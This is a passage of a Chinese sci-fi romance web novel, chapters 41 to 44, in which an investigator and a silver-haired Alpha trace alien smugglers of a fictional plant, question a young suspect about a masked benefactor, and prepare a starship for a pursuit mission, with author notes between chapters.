利用蓟梨草和B-356物质制作非法致幻剂并在7号星进行实验； 在得知他们发现B-356物质后自杀，不知身份真假的但丁； 和但丁在酒吧里密谋会面的黑色西装男人； 看似与这些事毫无关系的欧睿； 好像有什么关系，但又看不清楚其中联系的戈维； …… 而在这其中，德瓦人的影子又如影随形。 闻铮咬咬口腔内右腮的肉让自己保持清醒，眼见着前方目标车停下，他也立刻刹停。 “在车上等我，我不建议你下车。” 闻铮侧头看着裴简珩，声音没有什么起伏，那双黑色的眼睛比窗外的夜色还要幽深：“一旦你参与进来，我就不会允许你在掌握德瓦人相关信息的前提下退出，这对我来说是不可控的风险。” 这也是他给裴简珩最后一次离开的机会—— 作者有话说：小剧场： 闻哥：一旦你参与进来，我就不会允许你退出 小裴：还有这种好事？！ —————— 感谢34402499的营养液！掉落小裴豪华悬浮车模型x1！ 感谢珍白雪w的地雷！掉落蓟梨河限定明信片x1！ 万事开头难嘛，闻哥对小裴构建起信任以后，感情就会突飞猛进的：） 明天之后恢复上午11点日更了哟[害羞]《 》 40-50 第41章 缺失的一环 而回应他的, 是裴简珩一秒都没有犹豫的、打开车门的声音。 闻铮反手摸了一下依然有热度的后颈，小小地叹了口气。 他不知道这个选择是对是错，也是否受到了一定程度信息素的影响, 只是走到这一步, 好像也没有什么别的选择了。 他们从车上下来，依然让悬浮车保持融合模式，两个人都把配枪揣在了身上, 远远地跟着刺青男。 刺青男也背着包从车上下来，一边走一边东张西望。 星际轮渡港因为占地面积庞大，建在7号星的边缘地带，除了轮渡港本港外, 其他地方都是一马平川的荒凉。 而就在距离轮渡港还要2公里的地方, 有一排已经废弃的厂房仓库。 刺青男偷偷摸摸地跑到了一排厂房仓库的其中一个, 按照特定的节奏敲了敲门，很快门被打开，他也被接了进去, 关上门以后，闻铮就听不到里面了。 裴简珩对他打了个手势, 示意自己过去听。 他身影很快，穿的又是一身黑，在黑夜里身手矫健得像一只黑豹，悄无声息地凑近了仓库，贴在了门上。 这时候闻铮又有点相信他是联邦前锋突击卫了。 闻铮的五感经过军队训练已经算是比常人敏锐出一大截的了, 但他此刻也完全听不到任何声响，只有风吹过树林的沙沙声。 裴简珩在门口听着，眉头越皱越紧。倏地，他对闻铮打了个手势, 闻铮立刻后退，两个人在须臾之间就退回到了悬浮车上。 就在他们后退的半分钟后，仓库的门打开，三四个人拎着几个箱子出来，换了一辆悬浮车，应该是同样打开了融合模式，因为下一秒整辆车都在他们面前消失了。 闻铮刚要跟上，裴简珩却伸手过来轻轻按住了他的手：“不用跟了，我听到他们要去哪里了。” 闻铮：“……” 闻铮看了一眼那个仓库，默然：“……那个仓库是三层隔音的。” 裴简珩笑笑：“只要我想，我就能听到。” 这种远超常人的能力本应该值得自傲，闻铮却能从裴简珩的语气里听出淡淡的嘲讽。 他没说什么，只是问：“你听到什么了？” “他们确实是在高价回收蓟梨草，就和您说的一样，他们只想要紫色花蕊的。”裴简珩缓缓道，“我听到他们有提到，因为伪蛇暴露，原本留在7号星的三成减到一成，其余的九成全部运回母星。” 母星。 闻铮神色一沉，几乎是在齿间咀嚼后才冷冷说出口：“……德瓦人。” “他们不可能直接从7号星回到德瓦母星，”闻铮道，“7号星相对落后，每天的星际航班一共也没有几个。” “是的。”裴简珩补充道，“他们需要先从7号星到达中转枢纽星，才有可能在密集的航班中鱼目混珠。” 闻铮蹙眉：“7号星能到达的中转枢纽星有三个——” “特安斯特-B星。” 闻铮一愣：“什么？” 裴简珩注视着闻铮的眼睛，轻声道：“我听到他们说了中转星的地址，是特安斯特-B中转星。” 闻铮猛地攥紧了拳，用力到指甲在掌心都留下了浅浅的印记。 特安斯特-B。 他一年前和眼前这个银发蓝眼的Alpha睡过的那一晚，就在这个中转星上。 而迎着裴简珩的目光，闻铮后颈依然在隐隐发热的腺体位置似乎也在告诉他，没用的，有些事情不是他能一味回避就能永远消失的。 他静静移开了目光。 “回去吧。” …… 天快亮了。 金发少年缩在审讯室的角落里，看上去像一只流浪小狗。 日出的光线透过小小的天窗折射进来，让戈维迷迷糊糊地睁开了眼睛。 在双眼视线从模糊变清晰以后，他看到的第一个景象就是坐在他对面的罗斯警长。 他眯起眼睛看着罗斯警长一半类人肌肤一半机械的脸，这种诡异的融合却让他感到一丝安心。 罗斯警长监测到他醒了，对他打招呼：“早上好。” 戈维乖乖道：“早上好。” 他看着一晚上都是同一个姿势的罗斯警长，忍不住问：“您不累吗？” 罗斯警长答：“我没有被设计出和人类一样的神经系统，所以并不会感知到’累’。如果系统运行过载，我会按下重置键。” 他又补充了一句：“但依然谢谢你的关心。” 戈维的目光落在罗斯警长胸前的ID和名牌上，突然出声：“您知道为什么我会选择来到东四区吗？” 当时经手陆辰林和欧睿一案的部门并不在东四区，戈维那个时候也不知道闻铮是暗影组，所以他这个选择确实令人不解。 罗斯警长疑惑地看向他：“我假设是巧合。” “不是巧合，”戈维轻声道，“是因为您。” 罗斯警长顿住，他的程序设定在这一刻不知道该从何处开始深度思考。 “苑苑因为偷窃和伤人被抓了过来，她外表柔弱，但性格倔强。”戈维道，“她知道自己偷窃是不对的，但她伤人也只是因为超市的老板要占她便宜，她才怒而自保。” “但负责的警官并没有耐心听她的解释，只想尽快定罪下班，甚至把她拷在大堂不管不顾。” “她回来以后跟我说，有一个前台的调度警长人很好，会给她买吃的，会认真地听她说来龙去脉，甚至会威胁敷衍办案的警官如果不好好解决就会向他的上司发起投诉。” 戈维把下巴垫在膝盖上，微笑着看向罗斯警长：“她跟我说，这个警长叫罗斯，是仿生人。” “苑苑说，她感受得到很多人类警官认为你的设定并不完美，对你不是很尊重，但她认为你是这整栋楼里，最合格的人。” 戈维轻轻说：“很抱歉给您带来了麻烦，但我当时只是想到，如果是您的话，也许会愿意听我把话讲完。” 罗斯警长垂眼看着这个金发少年毛绒绒的发顶，张了张嘴，一时之间却不知道能说什么。 他的所有程序都是设定好的，而他并没有通过联邦设定的仿生人自我意识浓度水平测试，这就证明他只是一个未衍生出自我思想的低级机器仿生人。 按照他的程序执行规则，此时此刻他有一百种可选择的回应方式，但在这个时刻，他突然觉得那些系统设定好的回应都太过苍白片面，无法将他此刻的感受表达清楚。 但他又能怎样去表达呢？ 他好像也不知道。 于是在这一刻，他只能沉默以对。 所幸戈维也不是希望从他这里得到任何回答，只是重新将头埋回了双膝之间。 这时，门被轻轻地敲响了。 罗斯警长和戈维同时看过去，门外是闻铮。 闻铮手里拿了两杯饮品，一杯递给戈维，是咖啡。另一杯递给了罗斯警长，是营养剂。 他拍了拍罗斯警长的肩膀：“辛苦您了。” 罗斯警长：“闻指挥官，我感受不到辛苦。” 他看了看闻铮，又看了看戈维，显然有些迷惑为什么他们都在关心一个仿生人会不会累。 这是一种社交礼仪吗？ 那些通过了自我意识浓度水平测试的仿生人，是可以从每个人类那里接收到如此多善意的吗？ 闻铮看到罗斯警长走出审讯室，那张二分脸上仿佛写着加载中，也不知道自己哪句话引发了他的深度思考。 戈维突然出声打断了他的思绪：“闻，你是来把我转到监狱里的吗？” 闻铮点点头，又说：“在转移之前，我有一些问题想私下问你，可以吗？” 戈维不明所以地点头。 闻铮看了一眼人工电子眼，示意戈维起身跟他走。 后门停着一辆悬浮车，闻铮和戈维一起钻进了后座。 “闻哥，现在走吗？” 闻铮“嗯”了一声：“慢点开。” 戈维之前没注意，等到熟悉的声音从前面传来，他才发现开车的是之前被他“挟持”的Alpha。 他嗫喏道：“……对不起！我之前……” “没关系，”裴简珩温和地打断了他的道歉，“保护好自己，为了陆辰林也为了向星苑，好吗？” 戈维眼睛一酸，讷讷点头。 他这才有心思环顾四周，扫视一圈大惊：“这是什么车？！警部现在能配备起这种车？到底贪了多少！” 闻铮特意没有开警部配备的悬浮车，而是征用了裴简珩的豪车，以免有人工电子眼。 闻铮：“……” 这话他怎么好像听过，之前谁也这么说过来着？ 简单解释了一下以后，戈维敏锐地察觉到异样之处：“你不在里面问我，也不用警部配备的车，到底我有什么是你想知道，但不想让别人知道的？” 闻铮赞赏地拍拍小孩的头，轻声问：“你那把枪，是哪里来的？” 戈维一听到这个问题，有些犹豫：“……我不能说。” 不能说。 闻铮一听到这三个字，立刻明白过来这把枪绝对不是戈维从黑市搞到，或者从哪里偷来的，否则有什么不能说的？ 他按着戈维的肩膀，让他看向自己：“戈维，这对我来说很重要。” 戈维咬咬下唇：“我……我答应过他不会说的，我会说是我从黑市搞到的。” 他觑了觑闻铮，眼前这个帮了他很多的Alpha正认真地看着他，他心里的天平在摇摆，半晌还是妥协了。 “是一个穿着一身黑西服，带着黑色面具的男人给我的。” 戈维叹了口气：“他也帮了我很多，所以我不想把他也卷进来。” 闻铮缓缓松开他的肩膀，前方裴简珩也是一个急刹。 他和裴简珩的视线在后视镜里交汇，两个人心里都是一凛。 那一环，那缺失的一环，好像要扣上了—— 作者有话说：小剧场： 闻铮：之前谁也这么说过来着？ 黎晓：我啊，我啊！ —— 感谢清商的地雷！掉落营养剂x1！ 感谢65857229和34402499的营养液！掉落咖啡x1！ 第42章 你的意思是？ 在戈维的叙述中, 缺失的一环被缓缓合上。 闻铮想得没错，戈维和向星苑没钱没势，就算再恨, 又能拿欧睿怎么办？他们甚至连见都见不到欧睿！ 直到有一天, 向星苑无意中在黎晓的酒吧里看到前来猎艳的欧睿，她恨不得上去就捅死欧睿给陆辰林偿命，是黎晓见她神色有异, 把这个小女孩安抚了下来。 向星苑回家和戈维说了，戈维第二天就去了“夜虹”酒吧盯着欧睿，连着跟了他几天，险些被发现不说, 也没有什么实质性的把柄被他抓到。 他原本的想法很简单, 想要这位前途无限的准星长和他的混蛋儿子负面新闻缠身, 名声扫地，但他太天真了，那些欧睿所谓的桃色新闻, 根本在7号星不算什么。 就在他一筹莫展的时候，这个一身黑色西装、带着黑色覆面的男人出现了。 他对戈维说, 他已经知道了欧睿的所作所为，他也知道戈维想要做什么，但这些根本对欧睿造成不了任何影响，甚至他的犯罪记录都已经被抹除了。 戈维呆住了，他根本无法想象有权势的人可以做到什么地步！陆辰林的尊严, 他的人生，他的生命，甚至是可以被说抹掉就抹掉的！ 那他们算什么？！算什么？！ 覆面人给了他一个选择和一把枪，告诉他只有这样才能得到他想要的一切, 但一定会有人在其中被迫牺牲，看他自己要不要选择去做。 戈维自认没有陆辰林那么聪明，但也不傻，他也问覆面人为什么要帮他，他只是说： ——只要你能够按照我说的去做，我就可以得到我想要的了。 戈维和向星苑下定了决心，戈维从一开始就没想着能逃出去，他也算骗了向星苑，他很清楚一定有人要为欧睿的死负责，他也知道自己就是那个要做出牺牲的人。 但他只希望苑苑能替他们实现那个他们都没能完成的梦想。 覆面人不但给了他枪，甚至还告诉他欧睿喜欢的类型、他经常出入酒吧的地点、他的车是什么型号……唯一的要求就是，不要把他的存在告诉别人。 戈维低着头，轻声道：“我知道他在利用我，但我心甘情愿。如果没有他，我这一辈子都不能得到一个结果，阿林也是。” 闻铮看着他的消瘦的下巴轮廓，拍了拍他的头：“……你一直没有见过他的脸吗？” 戈维摇摇头：“他脸上的覆面一直没有拿下来过。” “身高体型呢？” “和你差不多，比他矮一点。”戈维指了指前面的裴简珩，“不胖不瘦，声音不算很年轻了。” 闻铮沉吟了一下，还是问了出来：“你有没有注意他的肤色？眼睛的颜色有看到吗？” “他——” 戈维敏锐地察觉到了闻铮的言外之意，警惕道：“你怀疑他是德瓦人？不可能！如果他是德瓦人，我绝对不会和他进行任何的合作！绝对不会！他就是人类！” 德瓦人皮肤黝黑，眼瞳是浅到几乎发白的颜色，难以伪装。 闻铮又问：“也不是艾尼默人？” 戈维这次有些迟疑：“……这个我就不好说了，我确实没有看到他身上的艾尼默特征，但他也没有信息素，所以我一直以为他和我一样都是Beta。” 这里不像中转星和首都星，各个种族的人口都有，在这里除了人类就是艾尼默人，基本没有其他种族。 人类Beta…… 这个人到底是谁，为什么要利用戈维杀死欧睿？欧睿这个草包的死到底能让他获得什么好处？ 还是说，他的目标不是欧睿，而是欧赫？ 事情发展到这一步，逐步发酵的舆论和被掀开的所谓政治正确的遮羞布，欧赫已经绝无可能再当上7号星的星长了，所以这一切归根到底还是政治博弈？ ……不对，如果没有B-356和蓟梨草，闻铮可能会这么认为，但德瓦人在其中的出现，让他觉得事情远远没有这么简单。 就在他们的谈话间，星中央拘留所已经快到了。 闻铮不再追问，他已经得到了想知道的信息，于是他转而安慰起戈维：“马上就到星中央拘留所了，在你聆讯之前你都会呆在这里。我已经打点好了，他们会给你安排单独监禁。” 闻铮对他笑笑：“在里面不要轻易相信别人，我不觉得欧赫或者他的政治团队会这样轻易地放弃。” “你已经配合说出了向星苑的下落，池检察官不会难为你的，大概率你会被允许保释，这样正式定罪前你就可以不住在监狱里。” 戈维摇了摇头：“我没有钱交保释金。” “不要考虑钱的问题，好吗？”闻铮的声音很温柔，“我会搞定的。” 眼看着星中央拘留所的大门已经打开，有狱警已经将车拦下来盘问，裴简珩在和他们沟通，闻铮抓紧时间最后说道：“在里面有什么问题，你可以偷偷联系一个叫科林的狱警，保护好自己，聆讯就在三天后。” 戈维好像鼓起了勇气，牢牢地攥住了闻铮的手：“谢谢你，闻，真的……谢谢你。” 如果我们，还有阿林，都能早点遇见你，是不是一切都会不一样？ 目送着狱警将戈维押走，闻铮看着他的背影出神。 裴简珩在旁边轻声道：“现在一切都要靠他自己了。” 闻铮说：“他一直以来靠的都是自己。” 他转过身，对裴简珩挑了挑眉：“捎我一程？” “当然。”裴简珩巴不得当他的司机，“您要去哪里？” “总部，”闻铮神色冷然，“我要去找一趟利切尔，德瓦人在偷运蓟梨草的事，必须得搞清楚。” …… “方便吗？有个事情要和你说。” 利切尔副局长刚闲下来五分钟，手里的咖啡还没喝两口，办公室的门就被敲响了。 利切尔副局长无奈。 还问什么问，管我方不方便，你分明就是一定要说。 他示意闻铮坐下：“是替那个艾尼默小朋友来找我的吗？” “不是。”闻铮摇头，“我会尽我所能让他得到一个公平的对待，其他的我做不了。” “公平的对待……哈哈，”利切尔副局长笑了起来，他的脸上一笑起来有两道褶子，“这可是最高理想了，他把欧赫的政治团队惹得够呛，挺多人都对他咬牙切齿呢。” “别装了。”闻铮双手环胸，“你明明也不喜欢欧赫，他现在上不了台，你应该心里还松了口气吧。” 利切尔副局长笑着摇头：“瞒不过你啊，不愧曾经的是’第三军团之刃’，看问题还是这么一针见血。他的很多主张都太保守了，对现在的联邦来说，毫无军事防备可不是件好事。” “这里是7号星，不是首都星。”闻铮小小地翻了个白眼，“7号星已经被战争搞得遍体鳞伤，他一个主和派，就算当上星长了也是中庸之道，对7号星来说不算灭顶之灾。” “谁知道呢，”利切尔副局长喝了一口咖啡，“7号星现在这个样子，最不需要的就是中庸之道。只有一场真正的大变革才能让这里摆脱德瓦帝国的遗留影响，重新焕发生机。” 闻铮无心和他在这里辩论各自的政治主张，他早就不碰政治了：“说到德瓦人，这是我这次来找你的目的。” 利切尔副局长神色一正：“又发现德瓦人的影子了？” 闻铮问他：“你知道蓟梨草吗？” 利切尔副局长神色茫然：“路边的野草？突然说这个干什么？” 闻铮把蓟梨草、B-256、但丁和偷渡的事情讲给了他听，由于不想把戈维又扯进来，也因为目前还没有更多的线索，所以他省略掉了黑衣覆面人的信息。 利切尔副局长听完后，从椅子上站了起来，眉头紧皱地在窗边来回踱步：“难办……” 他思忖了一会儿，摇摇头，虚空指着闻铮笑骂：“你个小兔崽子，就知道把麻烦事丢给我。” 闻铮被他骂了也不恼，往后靠在了椅背上，似笑非笑：“这不就是之前的交易内容么？涉及到德瓦帝国的重要线索都要和你汇报。” 这个事情确实难办。 在闻铮打赢那场艰难的卡斯洛克之战后，联邦和德瓦帝国已经签订了《战争修整与互不干涉条约》，在这份条约的束缚下，任何一方向另一方明面上的调查和越界，都会被视为撕毁条约主动宣战的导火索。 就连首都星那帮星际舰队的上层，主战派和主和派至今都打个不停，在军部态度不明的前提下，其他人谁敢担待得起这个罪名？ 但如果不查，德瓦帝国的阴谋明晃晃地放在这里，也是后患无穷。 利切尔副局长沉吟片刻，问：“你的意思？” 闻铮右腿叠在左腿上，淡淡道：“追。” “一步走错，你就会成为德瓦人撕毁条约的借口，进而成为靶子，”利切尔副局长摇头，“不行。” “我有分寸。” 闻铮反手指了指自己：“我在星际舰队摸爬滚打这么多年，你还不信我吗？” 利切尔副局长叹了口气：“我是担心你。你父母当年把你留给我，我在外参战没顾得上你，等我回来以后你已经消失得无影无踪。过了那么多年我才知道你已经是第三军团的上将了。当年我没有机会照顾你，现在我又怎么能忍心把你推向危险之中？” “我一直很感激你。”闻铮轻轻说，“但这都是我自己的选择，而你也无法保护我，我有我自己要做的事，而且我必须要完成。” 利切尔副局长看着他那张神色坚韧的脸，闭了闭眼：“你还是一直在寻找你父母当年死亡的真相，对吗？”—— 作者有话说：小剧场： 闻哥：捎我一程？ 小裴：来了来了来了来了来了！ —— 7号星马上要暂时告一段落了，接下来开启新地图！ 谢谢大家v后一如既往的支持！明天开始的一周内会每天双更哟[奶茶][奶茶] 也请继续陪闻哥和小裴走下一段路叭[求你了] 感谢秦长歌和34402499的营养液！掉落利切尔副局长的同款咖啡杯x1！ 第43章 我要他们死 一室沉默。 闻铮过了一阵才说：“德瓦军部杀了他们, 连同当年暗影组的12个人一起，死在太空中，尸骨无存。” 从利切尔副局长这个角度看过去, 闻铮的眸色宛如幽夜, 眼底却燃着一丛不灭的火。 这个瘦削坚韧的青年，那张从小就比Omega还漂亮的脸到现在已经满是风霜与憔悴，惟有那一簇幽幽之火将这具躯壳支撑到如今, 无论何时望去，都足以令人望之生寒。 闻铮一字一句道：“我要他们死。” 利切尔副局长叹息：“你啊……” 他走回办公桌后，指尖轻轻敲了敲桌面，好像下了什么决心一般：“我不能授权给你进行跨星系追缉德瓦人的权力, 这会引发外交事故。” 他抬眼看向闻铮：“但我会给你一艘小型星舰。” 闻铮一瞬间还以为自己听不懂星际通用语了：“你给我……什么？” 利切尔副局长虚空抓了一把, 他桌上立刻浮起了一个3D维度的星舰微缩透明模型：“破晓号, 当年你父母掌管暗影组时，配备的小型外遣追击星舰。” 闻铮猛地站起身，椅子都差点被带翻。 他恍惚地看着面前的透明模型, 喃喃：“……我以为它已经在那场交火中被击碎了。” “还没有那么碎，”利切尔副局长笑笑, “所以我还能想办法再把它修好。” 他把这个影像模型推给闻铮：“现在它是你的了。” “我会给你一个任务，从目前未结案的库里面随便找一个有跨星系缉捕权和引渡条款的逃犯，”利切尔副局长道，“你和暗影组的任务就是去把他缉拿回来，至于过程中你们去了哪里, 发现了什么，都是机缘巧合，我管不到了。” “……多谢你。” 闻铮低声说，他沉默了半分钟, 似乎在控制自己的情绪，半晌后才道：“但我不会开星舰。” 利切尔副局长：“……” 利切尔副局长拧着眉头：“你是’悬空号’的舰长！！” “曾经是。”闻铮更正他，“你也说了，我是舰长，不是舵手。” 星际舰队的所有军官都是从联邦星舰军校里按照学院录取的，这种包分配制度以至于专业对口度达到100%。 联邦星舰的舰长需要理解整个星舰的构造、人员的管理、路线的规划，要具有极高的战略能力和判断力，他们需要知道如何挑选并管理大副、轮机长、首席医疗官、舵手和通讯官等人才，但这并不意味着他们本人一定要是驾驶星舰的能手，舵手虽然是晋升舰长最正统的岗位，但并不是唯一的路径。 固然，舰长需要了解驾驶星舰的相关知识，但论起操作能力，肯定不如真正的舵手。因此，就连科班出身的舰长都没几个能操作星舰进行长时间高难度飞行的，更不要说一天军校都没读过的闻铮了。 他的舰长身份是临危受命的，纵观整个星舰军部史，没上过联邦星舰军校却能在二十多岁当上巨型星舰舰长的人，有且仅有闻铮一人。 利切尔副局长也沉默了。 过了一会儿，他也两手一摊：“选择权在你，只要你想，我知道你会想到办法的。” 闻铮的右手又在轻轻地敲打着大腿外侧，这是他在飞速思考时的标志。 “破晓号被彻底修复了吗？能进入空间迁跃飞行吗？” “呃，不好说。”利切尔副局长面上流露出一丝心虚，“要不你去看看？” 闻铮：“……” 他有点忍不住要当着利切尔副局长的面翻白眼了。 “有没有空间迁跃动力核有什么差别，”利切尔副局长端起咖啡喝了一口，“你又不会修轮机，这个星球上会鼓捣轮机和空间迁跃的人不超过五个，都在总部的监控范围之下。” 闻铮眨眨眼睛：“这你就不用操心了，我知道还有谁会。” 利切尔副局长手一顿。 闻铮摆了摆手：“多谢，那我先走了。” “对了。” 利切尔副局长好像突然想起来什么，叫住走到门口的闻铮：“这么一看，你也许需要一个会操作驾驶星舰的舵手，巧的是，我恰好知道谁会。” 闻铮转过身，惊讶：“谁？” …… 闻铮走出总部，他没有急着去检查破晓号的轮机，他既不懂量子力学又不懂轮机机械，去看了也没用。 利切尔说得对，他如果选择追踪这些德瓦人，那的确需要一艘星舰，拥有星舰的前提，就是得有人会开星舰。 凯利斯作为他曾经的“悬空号”大副，是被他从战术与安全部门提拔出来的，他可以辅佐操作，但并不能完全胜任舵手一职。 要想去追这帮德瓦人，就一定要有舵手，并且是值得信任的舵手。 短时间内，他在7号星本不可能找得到。 直到利切尔和他说，是有这么一个人的，就看闻铮愿不愿意用。 闻铮……愿意吗？ 或者说，他愿意赌吗？ 闻铮看着手里的破晓号模型，这是利切尔副局长最后给他的，是他曾经自己手工做的一个小小纪念品，现在跟着破晓号一起，都送给了闻铮。 闻铮握紧了那个小小模型，在这一刻下定了决心。 他为了真相和复仇已经付出了一切，到了这一刻，他别无选择，只能去赌。 点开通讯，他发送了一条短讯。 ——喝一杯？ …… “夜虹”酒吧在短暂关门一天后又恢复了营业，很多人也不知道是真的觉得“上吊的德瓦人”好喝，还是奔着清秀可爱的Omega老板来的，反正恢复营业的第一天，“夜虹”大晚上依旧门庭若市。 闻铮要艰难地挤开一群人才能到吧台，但吧台也没有空座。他正在四下逡巡，就听见一个声音幽幽响起：“坐那儿吧。” 他回头，正十指翻飞忙着调酒的黎晓朝窗边一个空座努了努嘴。 在熙熙攘攘的酒吧里，这个空位显眼得很。 闻铮笑了笑：“你怎么知道我今晚会来？” “我不知道，”黎晓没好气，“又不是留给你的！” 闻铮点了两杯“上吊的德瓦人”，凑近黎晓：“晚一点我来找你，借我五分钟？” 黎晓嘟囔：“每次你一找我准没什么好事……” 话是这么说，他还是有意无意地朝闻铮坐的位置瞟两眼，有点好奇他在等谁。 六分钟后，又一个全场瞩目的Alpha走了进来，黎晓看见他那头标志性的银发就无语，立刻知道了闻铮在等的人是谁。 想也知道，怎么又是这俩人？ 哪怕是在拥挤的酒吧里，裴简珩也一眼就看到了闻铮。 也许闻铮本人都没意识到，他那张漂亮的脸，永远挺直的脊背和拒人于千里之外的气场，会让他轻易地成为每个场所里的聚焦点，很难有人在看到他第一眼后还能无法对他持续性地报以关注。 裴简珩站在人群的另一边，遥遥地注视着正在看向窗外出神的闻铮，三年的时间过去，闻铮比起在第三军团和悬空号的时候憔悴消瘦了不少，从裴简珩这个角度看去，他的下颌角尖锐得好像能划破什么。 一年前那晚，在闻铮永远裹得严严实实的衣服之下，他曾经虔诚地吻过他身上每一处伤疤，直到因为信息素影响而神志涣散的Omega承受不住。 他曾经短暂地实现了最遥远的梦想，次日醒来却依然犹在梦中。 而现在，一年后的现在，他终于能再次一步一步走向闻铮，这一次，无论什么原因，他绝对不会让闻铮再有机会从他身边离开。 “你来了。” 感受到有人靠近这台桌子，闻铮转过来，示意裴简珩落座：“按照你上次的口味，这次我还是给你点了‘上吊的德瓦人’。” 裴简珩低头看到酒杯里的叉叉哭脸就想笑：“那您上次怎么没有注意到我其实没喝几口。” “你是根本没喝。”闻铮说，“所以我再给你一次尝试的机会。” 裴简珩那双湛蓝色的眼睛瞬间变得幽深起来，他听得出闻铮这句话意有所指。 “之前你说过，你上学的时候星纪史和星际关系是满分，我还没顾得上问，”闻铮漫不经心，“你在哪里上的学？” 裴简珩握着酒杯的手微一用力，又转瞬放松，笑了笑：“联邦星舰军校，指挥学院。” “哦？” 闻铮紧紧盯着裴简珩的眼睛：“为什么联邦前线突击卫需要去星舰军校的指挥学院就读？我以为那里是直供星际舰队的军官培育基地。” “说来话长。” 裴简珩叹了口气：“那一年联邦舰队需要组建一支配备给各大星舰的前线突击卫，要求同时具备登舰能力与近身搏斗能力，我被选中了。” 闻铮的神色微微放松了些许，他对这个选拔项目略有耳闻，之前他还在第三军团的时候听说军部上层有意向针对德瓦战争进行复合人才选拔，但他并没有过多关注，只当作军部高层那帮人想一出是一出的闹剧，没想到还真的组建成功了。 裴简珩掩饰性地喝了一口酒，他这也不算说谎吧……说的每一个字都是真的，只是选择性地进行了部分隐瞒…… “咳——咳咳——” 下一秒，裴简珩被这杯酒呛得满脸通红。 当然了，这也不能全怪黎晓这杯酒调的难喝，毕竟如果不是闻铮在裴简珩送酒入口的时候问出这句话，他也不至于呛成这个样子。 裴简珩一边咳，一边问：“什么——？能请您再说一遍吗咳咳——” 闻铮坐在他对面，左手撑着脸，右颊的梨涡随着他的笑意而漾开得分外明显。 “我问，你愿意来做我的总指挥舵手吗？”—— 作者有话说：[1]注：本文内提到的相关星舰设定，如空间迁跃、星舰职级等可能化用部分星际迷航、星际穿越、星战等等科幻文学或电影设定。 小剧场： 利切尔：星舰给你了，但没人哦 闻哥：等我再到处去划拉一下 利切尔：？ —— 大家好沉默哦，作者有1寂寞[心碎] 第44章 你可以拒绝我 裴简珩再次确认了不是自己的幻听, 他在一瞬间几乎想夺口而出——您是打算回到第三军团，重新做回悬空号的舰长了么？ 但他很快意识到了自己想法的偏差，闻铮做回舰长的前提是, 联邦星际舰队和他双方都愿意进行和解, 但很显然，目前双方都没有这种意愿。 于是他斟酌了几秒，还是选择了一个比较安全的问法：“星舰在哪里？能进入空间迁跃飞行模式吗？” 这个落后的7号星上真的有空间迁跃技术吗？ ……他的第一反应和闻铮的一模一样。 空间迁跃是目前联邦星际舰队的核心基石, 闻铮和裴简珩都不是物理学家，对于这东西的物理定义并不清楚，但他们都知道，只要这个星舰能够进入这种飞行模式, 那么它就可以使飞船以超光速进行移动, 在极短的时间内在宇宙内进行航行、追踪、攻击或更重要的, 自保和逃跑。 闻铮眼都不眨：“当然。” 就算没有，他也要想办法让它有，不然面对同样掌握空间迁跃技术的德瓦人, 他们根本没必要出发，因为毫无胜算。 裴简珩张了张嘴, 在他说话之前，闻铮先说了：“但我还是要提醒你，如果你同意的话，你就需要和我一起离开7号星去执行暗影组的任务，这个任务的期限不明, 危险未卜，我也无法给你任何预估。” “如果你是为了7号星上的一些人、或一些事而来的，我不建议你接受我的提议。” 闻铮知道裴简珩是这个星球上唯一能让破晓号飞起来的人，但他想起了那一晚裴简珩明显在暗中关照的卫余英和谢容母女, 也许……她们才是裴简珩特意来到7号星的原因。 他注视着对面年轻青年的俊朗面孔，轻声道：“这只是一个提议，不是一个命令，你可以拒绝我。” 裴简珩的上半身微微朝对面的闻铮倾了一点，他那双蓝汪汪的眼睛一眨不眨地牢牢抓取着闻铮的脸，声音低沉又坚定：“我永远都不会拒绝您。” “我接受您的提议。” “离开7号星也好，执行未知期限的任务也没关系，只要您允许，我会一直追随您。” 他的手颤抖了一下，还是轻轻地搭上了闻铮放在桌面上的手。 在这个喧闹的酒吧里，闻铮被那双蓝色的眼睛如此专注地凝视着，让他在此刻产生了一种幻觉，好像眼前这个年轻俊美又极度出色的Alpha，是不远万里，特意为他而来的。 他不期然地又想起了一年前那个深夜，他也是用这双蓝眼睛在自己上方，专注地、眷恋地、甚至还带着小心翼翼的珍视，与不知从何而来的一丝痴念，就这样看着他。 这让闻铮竭力压下去的后颈处又开始升温，连同他被盖住的手背一起，变得滚烫灼人。 裴简珩有些惊讶地看着突然站起来的闻铮，黑发青年扔下一句慢慢喝，就匆匆走去了吧台，身形甚至有一丝……仓皇？ 裴简珩看着他的背影，心里某个角落里的执念，因为得到了一点灌溉而又开始铺天盖地地疯长，以至于他只能下意识地拿起酒杯猛灌一口来压下去。 “咳咳咳咳——” 银发Alpha刚喝进去一口又开始猛咳。 这个黎晓到底在酒里放了什么东西，怎么会这么辣？！ …… 黎晓正在吧台后调酒，突然打了一个惊天动地的大喷嚏，把刚到吧台前的闻铮惊得下意识倒退一步。 黎晓揉了揉鼻子，声音瓮瓮的：“你干嘛？我没生病，又不会传染给你！” 闻铮没说话，他刚才亲眼看见黎晓的唾沫星子飞到了手里还没调完的酒杯里，又被他晃散了。 闻铮移开目光，决定当作没看到，也不去关心最后这杯酒到谁肚子里。 现在的人少了一点，黎晓做完这杯以后就歇着了。 闻铮对他示意了一下外面：“聊五分钟？” 也许是因为两个人有了共同的秘密，黎晓对闻铮的态度明显亲近很多，对他也没有太多的防备了，毕竟只要闻铮想，他可以立刻把黎晓交给欧赫，那可真够他喝一壶的。 黎晓喊了酒吧里另外一个调酒师来替他一会儿，就和闻铮两个人前后脚踏出了酒吧。 在出门的时候，黎晓总觉得如芒在背，好像有人一直盯着他，这让他属实有点汗毛直立。借着关门，他目光逡巡了一圈，最后发现盯着他的人丝毫不掩饰自己的眼神，甚至还对他举了举手里的酒杯。 黎晓：“……” 这个叫裴什么的，有病啊！我是能对你的上司做什么吗！ 真好笑，难道不应该是我这个Omega更害怕吗？ 黎晓翻了个白眼，重重地把门关上以隔绝裴简珩的目光。 街边的空气显然比里面要好很多，闻铮呼吸了几口新鲜空气，不知道是神经放松下来还是远离了银发Alpha，他明显感觉后颈没有那么热了。 闻铮暗自下定决心，哪怕之后是在同一艘追击星舰上，他也要离裴简珩远一点，现在这个苗头总感觉……不太对。 以及在正式出发之前，他还得去一趟瑰云星系，看他这个早就被挖出来的腺体，怎么又开始时不时地发烫。 “你把我找出来就是陪你发呆的？” 黎晓的声音打断了闻铮的出神，他回过神来：“不好意思，我有一个问题想问你、不，其实可以算是一个提议，或者是……” 他微微叹息，“一个请求。” 黎晓瞪大双眼，反手指向自己：“我？你会有求于我？没搞错吧，现在可是你抓着我的把柄好不好！你让我干嘛我不就得干嘛！” 